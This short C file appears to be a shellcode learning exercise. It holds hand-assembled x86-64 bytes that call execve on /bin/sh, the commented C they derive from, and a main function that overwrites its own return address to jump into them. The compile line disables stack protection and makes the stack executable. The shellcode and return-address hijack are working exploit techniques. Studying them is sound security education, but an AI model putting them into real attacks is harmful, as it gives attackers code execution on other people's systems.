/*
 * gcc test.c -o test.c -fno-stack-protector -z execstack
 *
 */
#include <stdio.h>

/*
 *
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    char *code[2];
    code[0] = "/bin/sh";
    code[1] = NULL;

    execve(code[0], code, NULL);

    return 0;
}

*/

unsigned char code[] =  "\xeb\x2b\x59\x55\x48\x89\xe5\x48"
                        "\x83\xec\x20\x48\x89\x4d\xf0\x48"
                        "\xc7\x45\xf8\x00\x00\x00\x00\xba"
                        "\x00\x00\x00\x00\x48\x8d\x75\xf0"
                        "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
                        "\x00\x00\x00\x0f\x05\xe8\xd0\xff"
                        "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
; /*  code 就是我们上面构造的 shellcode */

void main(int argc, char *argv[])
{
    long *ret;
    ret = (long *)&ret + 2;
    (*ret) = (long)code;
}

